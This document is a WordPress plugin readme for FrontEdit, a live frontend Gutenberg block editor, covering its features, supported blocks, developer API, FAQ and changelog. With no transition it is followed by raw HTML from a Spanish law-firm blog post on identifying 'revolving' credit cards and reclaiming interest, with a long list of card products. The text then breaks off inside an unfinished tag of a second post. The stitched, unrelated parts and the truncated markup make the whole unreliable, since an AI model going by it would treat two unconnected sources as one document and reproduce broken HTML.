=== FrontEdit - Live Frontend Block Editor ===
Contributors: maintainwp
Tags: frontend editor, frontend editing, gutenberg, block editor, inline editor
Requires at least: 7.0
Tested up to: 7.0
Requires PHP: 7.4
Stable tag: 1.1.0
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html

Make content updates easier. Now supporting Custom Post Types. Clients and teams can edit live pages safely with zero wp-admin training.

== Description ==

## Why FrontEdit?

Most websites don't need a new page builder. They need a faster way to edit the blocks that already make up their pages.

FrontEdit lets trusted users click directly on headings, paragraphs, images, buttons, lists, tables, and other supported content where it appears on the live page, make their changes in context, and save them through a focused frontend editing experience.

For site owners and marketing teams, that means faster everyday updates with less WordPress training. For agencies and freelancers, it means fewer routine support requests and a safer way to hand content ownership to clients.

FrontEdit works with native Gutenberg blocks rather than replacing them or editing only the rendered HTML. It updates supported block content and attributes while preserving the original block structure, styling, settings, and standard WordPress serialization.

### See FrontEdit in Action

https://www.youtube.com/watch?v=ZsCPpIiREa0

📺 **[Watch FrontEdit in action](https://www.youtube.com/watch?v=ZsCPpIiREa0)**
🎮 **[Try the interactive demo](https://maintainwp.com/products/frontedit/#see-frontedit-in-action)**
🔓 **[Explore FrontEdit Pro](https://maintainwp.com/products/frontedit/#explore-frontedit-pro)**

### At a glance

* ✏️ Edit Gutenberg blocks where they appear on the live page
* ⚡ Make routine text, image, button, list, table, and other block updates faster
* 🛡️ Preserve Gutenberg block markup, styling, and block-specific settings
* 👥 Give clients and team members a simpler alternative to navigating wp-admin
* 📉 Reduce routine support requests and accidental layout changes
* 🔌 Build custom integrations with the Public JavaScript API and extend block compatibility through custom handlers
* 🚀 Add drafts, approvals, customizable editing permissions, and more with FrontEdit Pro

### </> Built for Developers Too

* **Build on top of FrontEdit.** A stable Public JavaScript API lets plugins, custom tools, and AI assistants discover editor capabilities and safely perform the same block editing operations used by FrontEdit itself.
* **Extend compatible blocks.** A schema-driven custom block handler system lets developers add frontend editing support for compatible custom Gutenberg blocks without modifying the plugin core.

= FrontEdit brings content editing to the place it belongs: the frontend. =

Edit a single block or work across multiple blocks. Each block keeps its own active editing session and undo history, letting you jump between blocks while preserving the state of every edit in progress.

WordPress is powerful, but for everyday content updates it often asks too much of the people actually doing the work. Clients get lost in wp-admin. Teams bounce between the page preview and the editor. Small copy changes turn into support requests. Agencies spend valuable time handling edits their clients should be able to make themselves.

FrontEdit changes that.

Instead of sending users into the dashboard to hunt through blocks, sidebars, and settings panels, FrontEdit lets trusted users click directly on the content they want to change and edit it right on the page. Headlines, paragraphs, lists, buttons, media, and more become part of a guided frontend workflow that feels natural, lightweight, and immediate.

FrontEdit complements Gutenberg by bringing block editing directly to the frontend.

Whether you manage your own website, run content updates for a business, or maintain dozens of client sites, FrontEdit creates a new kind of WordPress workflow: faster, clearer, and dramatically easier to delegate.

### 💡 Why It Matters

Most content edits are simple.

They are not redesigns. They are not full page rebuilds. They are things like:

* Updating a headline after a campaign changes
* Rewriting a paragraph on a service page
* Swapping an image or fixing a button label
* Refreshing lists, pricing copy, FAQs, and promotions
* Letting a client suggest or submit changes without risking layout damage

These edits happen constantly, but traditional WordPress workflows make them slower than they should be.

FrontEdit removes the friction. Your content can be updated in context, on the live page, with far less training and far less back-and-forth.

Every edit preserves the original WordPress block markup and block-specific settings. FrontEdit updates only the content you change, allowing supported blocks to retain their existing configuration, styling, and behavior.

= ✨ Key Features =

* Edit WordPress blocks directly on the frontend
* Click content exactly where it appears on the page
* Preserve block markup, styling, and block-specific settings
* Supports text, images, tables, buttons, media, and more
* Built for Gutenberg's normal block serialization
* Lightweight editing experience designed for trusted users
* Let users submit block-linked content requests by email
* Public JavaScript API for custom integrations and AI workflows
* Extensible custom block handler system for compatible custom blocks

### 👥 A Better Workflow For Real Teams

FrontEdit is ideal for:

* Business and site owners who want to make quick updates themselves
* Marketing teams that need to keep landing pages, service pages, and calls to action current
* Internal staff who should be able to edit content without learning WordPress admin
* Freelancers and agencies that want to give clients safe, straightforward content ownership
* Maintenance teams that are tired of spending time on small text and image changes

For agencies, the value is especially clear. Instead of fielding routine requests like "change this sentence," "swap this image," or "update this CTA," you can give clients a workflow they can actually use with confidence.

That means fewer support tickets, fewer admin walkthroughs, fewer accidental layout changes, and more time spent on higher-value work.

### ⚙️ How It Works

1. Install and activate FrontEdit.
2. Open a page on the frontend while logged in.
3. Click supported content directly on the page.
4. Edit in place and save using a workflow designed to respect WordPress block content.

The result is a familiar page view combined with a purpose-built editing layer that keeps the experience simple for the person making the change.

FrontEdit focuses on the block types people edit every day, with support continuing to expand over time.

### 🧱 Supported Blocks

FrontEdit currently supports a growing set of WordPress blocks.

#### WordPress Core

**Text blocks**

* Paragraph (`core/paragraph`)
* Heading (`core/heading`)
* List (`core/list`)
* Code (`core/code`)
* Details (`core/details`)
* Preformatted (`core/preformatted`)
* Pullquote (`core/pullquote`)
* Table (`core/table`)
* Verse (`core/verse`)

**Media blocks**

* Image (`core/image`)
* Audio (`core/audio`)
* Cover (`core/cover`)
* File (`core/file`)
* Media & Text (`core/media-text`)
* Video (`core/video`)
* Icon (`core/icon`)

**Design blocks**

* Accordion Heading (`core/accordion-heading`)
* Button (`core/button`)

### 🧩 Extensible With Custom Block Handlers

FrontEdit includes a schema-driven handler system that allows developers to add frontend editing support for compatible custom blocks and third-party block libraries.

Using the included documentation and handler templates, developers can define which parts of a block are editable and how FrontEdit should safely apply those changes without modifying the plugin core.

Custom handler support is currently experimental and has not been tested with every block library or custom implementation. A third-party block is compatible only when its provider registers the block's client-side attributes and save implementation on the editable frontend page. Editor-only provider bundles are not compatible with FrontEdit.

Before creating custom handlers, review `docs/custom-handler-schema-reference.md` and the included `templates/frontedit-live-block-editor-custom-handlers/README.md`. They contain the serialization prerequisite, schema contract, supported capabilities, limitations, and validation guidance.

If you create a reliable handler for a popular third-party block library, you are welcome to submit it for consideration. After testing and validation, compatible handlers may be included in a future release as officially supported integrations.

### 🔗 Built For Gutenberg, Not Against It

FrontEdit edits supported block content and attributes while preserving the standard serialization and save behavior WordPress expects.

It complements the block editor rather than replacing it, allowing everyday changes to happen on the frontend while the underlying content remains standard Gutenberg block content.

### 🛡️ Safety That Protects Real Work

Frontend editing has to be convenient, but it also has to protect work already in progress.

FrontEdit includes safeguards for common editing conflicts:

* **Post-lock protection**: When another user is actively editing a post, FrontEdit identifies the editor and requires an explicit takeover before live changes can be applied.
* **Unsaved changes warnings**: FrontEdit warns users before they reload, navigate away, or otherwise leave a post with unsaved changes.
* **Overwrite protection**: If another user updates the page after editing began, FrontEdit can warn the current editor before newer changes are overwritten.

### 🔌 Developer API

FrontEdit includes a stable Public JavaScript API for developers who want to integrate with or extend the frontend editing experience.

The versioned Public API provides documented runtime contracts for interacting with the editor, inspecting supported blocks, applying schema-backed content and attribute updates, working with media and list operations, responding to editor lifecycle events, and building integrations designed for long-term compatibility.

Whether you're building custom editing tools, AI-powered workflows, or integrations with your own plugins, the Public API is the recommended way to interact with FrontEdit at runtime.

The complete API reference is included with the plugin in `docs/frontend-runtime-extension-contract.md`, which documents the available methods, events, supported runtime behavior, versioning guarantees, and integration guidelines for developers.

### 🔓 Pro Features When You Need More

FrontEdit provides direct frontend editing in the free plugin. FrontEdit Pro adds workflows for teams that need drafts, approvals, permissions, history, centralized content management, and more.

Batch editing is included in FrontEdit for users with editing access. Pro lets an administrator decide which users may edit several blocks in one session and which users must edit one block at a time.

With Pro, you can unlock advanced features such as:

* Pending drafts and content approval workflows
* Per-user controls for choosing single-block or batch editing
* Per-user editing permissions for more controlled client access
* Content request ticketing system to track and respond to user-submitted change requests
* Centralized content management with a Content Catalog for reviewing editable elements across the site
* Block-level edit history and revert workflows
* Notification tools for more collaborative editorial operations
* A centralized dashboard for open requests and pending drafts

👉 **[See everything included in FrontEdit Pro](https://maintainwp.com/products/frontedit/#compare-free-vs-pro)**

### 🚧 Expanding Frontend Editing

FrontEdit is built around editing the content and settings of existing blocks. Future Pro releases are planned to expand that workflow with capabilities such as moving, deleting, and adding blocks directly from the frontend, fully customizable through admin-managed user permissions.

The goal is to support more complete page-editing workflows for trusted, more technical users, while maintaining the secure, controlled experience FrontEdit is designed for.

### 🤖 Coming Soon: ABE, Your Personal WordPress Assistant

AI is changing the way people work, but most AI tools still feel disconnected from WordPress. They generate text in a chat window and leave you to figure out where it goes, how it should be formatted, and how to safely apply it.

That is where ABE comes in.

ABE, the AI Assisted Block Editor, is being built specifically for WordPress and FrontEdit. It is not meant to be a generic chatbot. It is designed as your personal WordPress assistant: one that understands editable page content, works with FrontEdit-owned blocks, and helps rewrite, generate, and update content live on the page in front of you.

The vision is simple: describe what you want, review the result in context, and watch WordPress content update in a workflow that feels native instead of bolted on.

🚀 ABE is planned to be included with FrontEdit Pro at no additional cost.

Join the ABE waitlist here to get updates and be notified when ABE launches:
[Sign up here](https://maintainwp.com/abe-waitlist-signup-page/)

== Installation ==

1. Upload the `frontedit-live-block-editor` folder to the `/wp-content/plugins/` directory, or install the plugin through the WordPress Plugins screen.
2. Activate **FrontEdit** through the `Plugins` screen in WordPress.
3. Visit a page while logged in and begin editing blocks directly on the frontend.

== Frequently Asked Questions ==

= Does this replace the block editor in wp-admin? =

No. FrontEdit complements the block editor by bringing everyday block editing to the frontend.

= Who can edit content from the frontend? =

Only users who would be able to edit the page in the block editor can edit that page from the frontend.

= Does this plugin affect site performance for visitors? =

No. FrontEdit only loads its assets for logged-in users who already have permission to edit that specific page or post. For regular public visitors, the plugin is completely invisible and adds zero weight to your page load.

= Is this useful for agencies? =

Yes. It is especially helpful for agencies and WordPress maintenance providers who want clients to handle routine content edits themselves without navigating wp-admin.

= What kinds of content can be edited? =

FrontEdit edits the supported Gutenberg blocks listed above when they are stored in a standard WordPress post or page's content. It does not edit every block, custom data source, or arbitrary page content.

= Does FrontEdit support custom post types or custom fields? =

FrontEdit supports publicly viewable custom post types that use the WordPress block editor and store editable blocks in normal `post_content`. It does not matter whether ACF, Meta Box, or another tool registered the post type.

FrontEdit edits supported Gutenberg blocks in that main content area. It does not edit ACF, Meta Box, or other custom-field values; flexible-content layouts; block-bound post meta; or third-party page-builder layouts.


= What does Pro add? =

FrontEdit Base sends each block-linked content request directly to the administrator by email. FrontEdit Pro adds the centralized workflow for tracking, responding to, closing, and searching those requests, alongside drafts, approvals, per-user controls for single or batch editing, a dashboard, content catalog tools, and element history.

= Is AI included? =

Not in the base plugin yet. ABE, the AI Assisted Block Editor for FrontEdit, is currently in development. It will be included with the Pro subscription at no additional cost. You can join the waitlist here:
[Sign up now](https://maintainwp.com/abe-waitlist-signup-page/)

== Screenshots ==

1. Hover over a heading
2. Edit heading block
3. Choose an image to edit it
4. Replace an image from the library or upload a new file
5. Full list editing capabilities including indent/outdent
6. Edit table blocks
7. After updating table alignment, column alignment, and adding a caption
8. Choose your target block when blocks are overlapping
9. Write a comment to the admin with a content request

== Changelog ==

= 1.1.0 =
* Added support for eligible Gutenberg custom post types whose editable content is stored in standard WordPress post content.
* Changed internal block UUID assignment to prepare only content that is opened or saved, avoiding automatic site-wide content scans.
* Fixed transient Gutenberg default paragraphs being assigned UUIDs.

= 1.0.19 =
* Replaced Base-only Pro preview screens with a practical Getting Started page and clarified the Gutenberg content and content-request boundaries.

= 1.0.18 =
* Added batch editing, previously a Pro feature, to the Base plugin, with independent undo history for each block during an editing session.

= 1.0.15 =
* Improved the schema-driven handler foundation with reusable optional-component placement and schema-declared heading/tag controls.
* Added a shipped custom-handler schema reference with frontend serialization compatibility requirements.

= 1.0.10 =
* Added support for WordPress Icon blocks.
* Opens the live editor immediately while post-lock verification continues safely in the background.

= 1.0.05 =
* Improved multi-element action-bar positioning for directly hovered nested and overlapping blocks.
* Fixed action bar hover transfer across overlapping blocks.
* Added authorized AI discovery for editable blocks and read-only block content, plus public live-page block enumeration for browser integrations.

= 1.0.02 =
* Added Base previews for the Pro Content Requests and Content Catalog admin screens.
* Added WordPress-native post locking for live editing, including an active-editor notice and optional takeover flow.

= 1.0.0 =
* Initial public 1.0.0 release for the WordPress plugin repository.

== Upgrade Notice ==

= 1.1.0 =
Adds eligible Gutenberg custom post type support and prepares internal block UUIDs only when content is opened or saved. Fixes a bug where transient Gutenberg default paragraphs were being assigned UUIDs.

= 1.0.19 =
Replaces Base-only Pro preview screens with a practical Getting Started page and clarifies the Gutenberg content and content-request boundaries.

= 1.0.18 =
Adds batch editing to the Base plugin.

= 1.0.15 =
Improves custom-handler schema capabilities and documents frontend serialization compatibility requirements.

= 1.0.10 =
Adds frontend editing support for WordPress Icon blocks. Makes the live editor open more quickly while retaining WordPress-native post-lock protection.

= 1.0.05 =
Improves action-bar positioning and adds secure editable-block discovery for AI and browser integrations.

= 1.0.02 =
Adds native WordPress post-lock protection for concurrent live editors and previews for the Pro content-request and catalog workflows.

= 1.0.0 =
FrontEdit 1.0.0 introduces the public repository release presentation for the plugin.
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                    <article class="post-entry post-entry-type-standard post-entry-1090 post-loop-1 post-parity-odd custom with-slider post-1090 post type-post status-publish format-standard has-post-thumbnail hentry category-news" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/mi-tarjeta-es-revolving/" rel="bookmark" title="Enlace permanente: ¿Mi tarjeta es Revolving?">¿Mi tarjeta es Revolving?			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/news/" rel="tag">News</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
<figure data-amp-lightbox="true" class="wp-block-image size-large"><amp-img width="626" height="417" src="https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado.jpg" alt="" class="wp-image-1093 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado.jpg 626w, https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado-300x200.jpg 300w" sizes="(max-width: 626px) 100vw, 626px" data-amp-lightbox="" lightbox="" layout="intrinsic" disable-inline-width="" data-hero-candidate="" data-hero i-amphtml-ssr i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjQxNyIgd2lkdGg9IjYyNiIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4="></i-amphtml-sizer><img class="i-amphtml-fill-content i-amphtml-replaced-content" decoding="async" fetchpriority="high" alt="" src="https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado.jpg" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado.jpg 626w, https://abogadofigueroa.com/wp-content/uploads/2020/10/tarjeta-revolving-cadiz-abogado-300x200.jpg 300w" sizes="(max-width: 626px) 100vw, 626px"></amp-img><figcaption>Las <strong>tarjetas revolving</strong> son un tipo de <strong>tarjetas</strong> de crédito que permiten aplazar el pago de las compras para, en lugar de pagar a mes vencido como en una <strong>tarjeta</strong> de crédito o al contado como en una <strong>tarjeta</strong> de débito, pagar las compras a plazos aplicando intereses.</figcaption></figure>



<h2 class="wp-block-heading">¿Cómo identifico una tarjeta Revolving?</h2>



<p class="wp-block-paragraph">Sin complicaciones, solo necesitas ver estos tres elementos</p>



<ul class="wp-block-list"><li>Observa el recibo del banco ¿El tipo de interés es mayor de 20?, tu tarjeta es Revolving.</li><li>En el contrato de la tarjeta puedes encontrar igualmente el interés aplicado, pueden aparecer como T.A.E. / T.I.N. (Tipo de Interés Nominal) o el C.E.R. (Coste Efectivo Remanente), y nuevamente, si es superior al 20% tu tarjeta es Revolving.</li><li>¿Nunca terminas de liquidar la deuda aunque pagues religiosamente todos los meses? Probablemente estemos ante un contrato de tarjeta Revolving. </li></ul>



<h2 class="wp-block-heading">¿Qué se puede reclamar?</h2>



<p class="wp-block-paragraph">Si has devuelto ya el préstamo y entre intereses y capital has abonado más de lo que pediste prestado o del gasto realizado con la tarjeta, puedes <strong>reclamar la nulidad del contrato y la devolución del exceso de intereses y capital </strong>pagados. También puedes pedir la devolución del seguro y las comisiones que te hayan cobrado por la tarjeta en caso de haberlos.</p>



<p class="wp-block-paragraph">Por el contrario, si todavía no has devuelto el préstamo o no has terminado de pagar el gasto que hiciste, puedes <strong>solicitar la nulidad del contrato y la devolución de los intereses </strong>excesivos que has pagado. Eso sí, tendrás que devolver el dinero que te prestó el banco más unos intereses razonables.</p>



<p class="wp-block-paragraph">Si aun no te ha quedado claro, <a href="https://abogadofigueroa.com/contacto/" class="rank-math-link">consúltanos</a> y te calcularemos cuanto puedes reclamar, mientras tanto, te dejo una lista de la gran mayoría de tarjetas revolving que existen.</p>



<h2 class="wp-block-heading">Listado de Tarjetas Revolving.</h2>



<p class="wp-block-paragraph"><strong>A</strong></p>



<p class="wp-block-paragraph">Tarjeta Abanca VISA Clásica<br>Tarjeta Abanca VISA Oro<br>Tarjeta Advanvia Banch YOU Mastercard<br>Tarjeta Alcampo (proporcionada por Oney)<br>Tarjeta Alsa Plus Visa (proporcionada por BBVA)<br>Tarjeta AKÍ BRICOLAJE (proporcionada por Oney)<br>Tarjeta Air Europa Suma Visa (adherida a Bankinter)<br>Tarjeta American express Blue<br>Tarjeta American express Business Gold<br>Tarjeta American express Gold<br>Tarjeta American express Platinum</p>



<p class="wp-block-paragraph"><strong>B</strong></p>



<p class="wp-block-paragraph">Tarjeta BP (proporcionada por Bankinter)<br>Tarjeta Banco Caminos VISA Classic<br>Tarjeta Banco Caminos VISA Oro<br>Tarjeta Bankia MasterCard Champions Crédito<br>Tarjeta Bankia  Visa Compras<br>Tarjeta Bankia  Visa Crédito Particulares<br>Tarjeta Bankia  Visa Crédito Plus<br>Tarjeta Bankia  Visa Dual Plus<br>Tarjeta Bankia  Visa Flexible<br>Tarjeta Bankia  Visa ON<br>Tarjeta Bankia  Visa Oro<br>Tarjeta Bankinter Visa Coinc<br>Tarjeta Bankinter Visa Quiero<br>Tarjeta Bankinter Visa Única Clásica<br>Tarjeta Bankinter Visa Única Oro<br>Tarjeta BankinterCard Oro<br>Tarjeta BankinterCard Platinum<br>Tarjeta Bankinter Visa Consumer Finance<br>Tarjeta BBVA MasterCard Negocios<br>Tarjeta BBVA Visa a Tu Ritmo<br>Tarjeta BBVA Visa a Tu Ritmo Blue<br>Tarjeta BBVA Visa Después<br>Tarjeta BBVA Visa Después Blue<br>Tarjeta BBVA MasterCard Infinit Oro<br>Tarjeta BBVA Visa CX Oro</p>



<p class="wp-block-paragraph"><strong>C</strong></p>



<p class="wp-block-paragraph">Tarjeta Caixa VISA<br>Tarjeta Caixa VISA Platinum<br>Tarjeta Caixabank Préstamo Clic &amp; Go<br>Tarjeta Caixabank Préstamo Family no clientes<br>Tarjeta Caixabank American Express Amex Plus<br>Tarjeta Caixabank American Express Plus<br>Tarjeta Caixabank MasterCard<br>Tarjeta Caixabank MasterCard Estrella<br>Tarjeta Caixabank MasterCard Oro<br>Tarjeta Caixabank Visa Classic<br>Tarjeta Caixabank Visa Gold<br>Tarjeta Caixabank Visa Gold Flexible<br>Tarjeta Caixabank Visa Imagin Crédito<br>Tarjeta Caixabank Visa Oro<br>Tarjeta Caixabank Visa Platinum<br>Tarjeta Caixabank Visa Platinum Gold<br>Tarjeta Caja España Visa Clase Oro<br>Tarjeta Cajasur Visa Classic<br>Tarjeta Cajasur Visa Dual<br>Tarjeta Cajasur Visa Oro<br>Tarjeta Cajasur Visa Red<br>Tarjeta Carrefour Pass<br>Tarjeta Cetelem MasterCard Aurora<br>Tarjeta Cetelem Visa Paypal<br>Tarjeta Club baloncesto gran canaria (Adherida a Bankia)<br>Tarjeta Cofidis MasterCard<br>Tarjeta Conforama MasterCard (proporcionada por Cetelem)</p>



<p class="wp-block-paragraph"><strong>D</strong></p>



<p class="wp-block-paragraph">Tarjeta Decathlon (adherida a Oney)<br>Tarjeta Deutsche Bank Visa Familia<br>Tarjeta Deutsche Bank Visa Preferente<br>Tarjeta Deutsche Bank Visa Preferente Oro<br>Tarjeta Deutsche Bank Visa Shopping<br>Tarjeta Deutsche Bank MasterCard Premium Gold</p>



<p class="wp-block-paragraph"><strong>E</strong></p>



<p class="wp-block-paragraph">Tarjeta Eroski Red Visa (proporcionada por Banco Santander – Consumer Finanace)<br>Tarjeta España Duero MAsterCard Premium Gold<br>Tarjeta España Duero Visa Clase Oro<br>Tarjeta Evo Banco MasterCard<br>Tarjeta Evo Banco MasterCard España<br>Tarjeta Evo Banco Visa Classic<br>Tarjeta Evo Banco Visa Mujer<br>Tarjeta Evo Banco MasterCard Evo Crédito<br>Tarjeta Evo Banco Visa Inteligente<br>Tarjeta Evo Banco VisaFinance Clásica</p>



<p class="wp-block-paragraph"><strong>F</strong></p>



<p class="wp-block-paragraph">Tarjeta Fnac Visa (adherida a Caixabank – Finconsum)</p>



<p class="wp-block-paragraph"><strong>G</strong></p>



<p class="wp-block-paragraph">Tarjeta Groupon Visa (proporcionada por Bankinter)</p>



<p class="wp-block-paragraph"><strong>I</strong></p>



<p class="wp-block-paragraph">Tarjeta Ibercaja MasterCard Acqua<br>Tarjeta Ibercaja MasterCard Compra Plus<br>Tarjeta Ibercaja MasterCard Crédito<br>Tarjeta Ibercaja MasterCard Platinum<br>Tarjeta Ibercaja Visa Clase Oro<br>Tarjeta Ibercaja Visa Diamante<br>Tarjeta Ibercaja Visa Dual<br>Tarjeta Ibercaja Visa Platinum<br>Tarjeta Ibercaja Visa Platinum Global<br>Tarjeta Ibercaja Visa Universal<br>Tarjeta Iberia Business Visa (adherida a BBVA)<br>Tarjeta Iberia Cards Visa Iberia Classic<br>Tarjeta Iberia Cards Visa Iberia Icon<br>Tarjeta Iberia Cards Visa Iberia Sendo<br>Tarjeta Iberia Classic Visa (adherida a BBVA)<br>Tarjeta Iberia Icon Business (adherida a BBVA)<br>Tarjeta Iberia Icon Corporate (adherida a BBVA)<br>Tarjeta Iberia Icon Visa (pertenece a BBVA)<br>Tarjeta Iberia Max Mastercard (pertenece a Banco Popular)<br>Tarjeta Iberia Profesional Visa (proporcionada por BBVA)<br>Tarjeta Iberia Iberia Sendo American Express Business<br>Tarjeta Iberia Business (proporcionada por BBVA)<br>Tarjeta Iberia Profesional(proporcionada por BBVA)<br>Tarjeta Inditex Affinity (adherida a UNOE- Grupo BBVA)<br>Tarjeta IKEA Visa (proporcionada por Caixabank)<br>Tarjeta IKEA Fámily MasterCard (pertenece a Banco Santander – Consumer Finanace)<br>Tarjeta ING Direct Visa<br>Tarjeta ING Direct Visa Oro</p>



<p class="wp-block-paragraph"><strong>K</strong></p>



<p class="wp-block-paragraph">Tarjeta Kutxabank Visa Extra<br>Tarjeta Kutxabank Visa Flexibuy<br>Tarjeta Kutxabank  Visa K26+<br>Tarjeta Kutxabank Visa Oro</p>



<p class="wp-block-paragraph"><strong>L</strong></p>



<p class="wp-block-paragraph">Tarjeta Leroy Merlin (proporcionada por Oney)<br>Tarjeta Liberbank MasterCard Classic<br>Tarjeta Liberbank MasterCard Más<br>Tarjeta Liberbank MasterCard Platinum<br>Tarjeta Liberbank Visa Oro<br>Tarjeta Liberbank MasterCard Platinum (adherida a Obsidiana)<br>Tarjeta Línea Directa MasterCard (pertenece a Obsidiana)</p>



<p class="wp-block-paragraph"><strong>M</strong></p>



<p class="wp-block-paragraph">Tarjeta Marenostrum MasterCard<br>Tarjeta Marenostrum Visa Oro<br>Tarjeta Mediamarkt Club Card Visa (proporcionada por Caixabank)<br>Tarjeta Mediulanum Visa Classic<br>Tarjeta Mediulanum Visa Oro<br>Tarjeta Meliá Rewards (adherida a American Express)<br>Tarjeta MTV Visa (proporcionada por Bankia)</p>



<p class="wp-block-paragraph"><strong>O</strong></p>



<p class="wp-block-paragraph">Tarjeta Open Bank Visa 123<br>Tarjeta Open Bank Visa Classic<br>Tarjeta Open Bank Visa Open Credit<br>Tarjeta Open Bank Visa Oro</p>



<p class="wp-block-paragraph"><strong>P</strong></p>



<p class="wp-block-paragraph">Tarjeta Banco Popular Visa Global Bonus<br>Tarjeta Banco Popular Visa Global Élite<br>Tarjeta Banco Popular Visa Hop</p>



<p class="wp-block-paragraph"><strong>R</strong></p>



<p class="wp-block-paragraph">Tarjeta Renfe (pertenece a American Express)<br>Tarjeta Renfe Dorada MasterCard (adherida a Liberbank)<br>Tarjeta Renfe Dorada VISA (proporcionada por Ibercaja)<br>Tarjeta Repsol VISA (proporcionada por BBVA)</p>



<p class="wp-block-paragraph"><strong>S</strong></p>



<p class="wp-block-paragraph">Tarjeta Self Bank American Express Self Bank<br>Tarjeta Self Bank Visa Crédito Clásica<br>Tarjeta Self Bank Visa Crédito Oro<br>Tarjeta Self Bank Visa Crédito Oro<br>Tarjeta Simply (Supermercados Sabeco) (adherida a Oney)<br>Tarjeta Solred MasterCard Profesional (pertenece a Banco Popular)<br>Tarjeta Solred MasterCard Business (proporcionada por Targobank)</p>



<p class="wp-block-paragraph"><strong>T</strong></p>



<p class="wp-block-paragraph">Tarjeta Targobank MasterCard Business Solred<br>Tarjeta Targobank Visa Global Bonus+<br>Tarjeta Targobank  Visa Global Élite<br>Tarjeta Targobank Visa Global Bonus+<br>Tarjeta Targobank Visa Global Élite</p>



<p class="wp-block-paragraph"><strong>U</strong></p>



<p class="wp-block-paragraph">Tarjeta Unión Fenosa MasterCard (Banco Santander – Consumer Finanace)<br>Tarjeta Ventajón Visa (adherida a Banco Santander – Consumer Finanace)<br>Tarjeta Unicaja Visa Classic<br>Tarjeta Unicaja Visa Oro<br>Tarjeta Unicaja Business Gold<br>Tarjeta Unicaja Blue<br>Tarjeta Unicaja Gold<br>Tarjeta Unicaja Platinum<br>Tarjeta Unoe Affinity Card (Inditex)<br>Tarjeta Unoe VISA crédito</p>



<p class="wp-block-paragraph"><strong>V</strong></p>



<p class="wp-block-paragraph">Tarjeta Viajes Ecuador Visa (proporcionada por Banco Popular)<br>Tarjeta Vodafone Visa (pertenece a Bankinter)</p>



<p class="wp-block-paragraph"><strong>W</strong></p>



<p class="wp-block-paragraph">Tarjeta Wizink Bank Visa Classic<br>Tarjeta Wizink Bank Visa Oro<br>Tarjeta Wizink Bank Visa Barclaycard</p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">14 de octubre de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/mi-tarjeta-es-revolving/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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				</span><span class="av-structured-data" itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"><span itemprop="name">Juande Figueroa</span></span><span class="av-structured-data" itemprop="datePublished">2020-10-14 16:15:43</span><span class="av-structured-data" itemprop="dateModified" itemtype="https://schema.org/dateModified">2020-10-14 16:20:20</span><span class="av-structured-data" itemprop="mainEntityOfPage" itemtype="https://schema.org/mainEntityOfPage"><span itemprop="name">¿Mi tarjeta es Revolving?</span></span></span></article><article class="post-entry post-entry-type-standard post-entry-1072 post-loop-2 post-parity-even custom with-slider post-1072 post type-post status-publish format-standard has-post-thumbnail hentry category-news" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/okupas-y-cunados-la-mezcla-del-miedo/" rel="bookmark" title="Enlace permanente: Okupas y cuñados, la mezcla del miedo.">Okupas y cuñados, la mezcla del miedo.			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/news/" rel="tag">News</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
<figure class="wp-block-image size-large"><amp-img width="1030" height="686" src="https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1030x686.jpg" alt="Okupas y sensacionalismo" class="wp-image-1073 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1030x686.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-768x512.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1536x1024.jpg 1536w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-2048x1365.jpg 2048w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1500x1000.jpg 1500w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-705x470.jpg 705w" sizes="auto, (max-width: 1030px) 100vw, 1030px" layout="intrinsic" disable-inline-width="" i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" 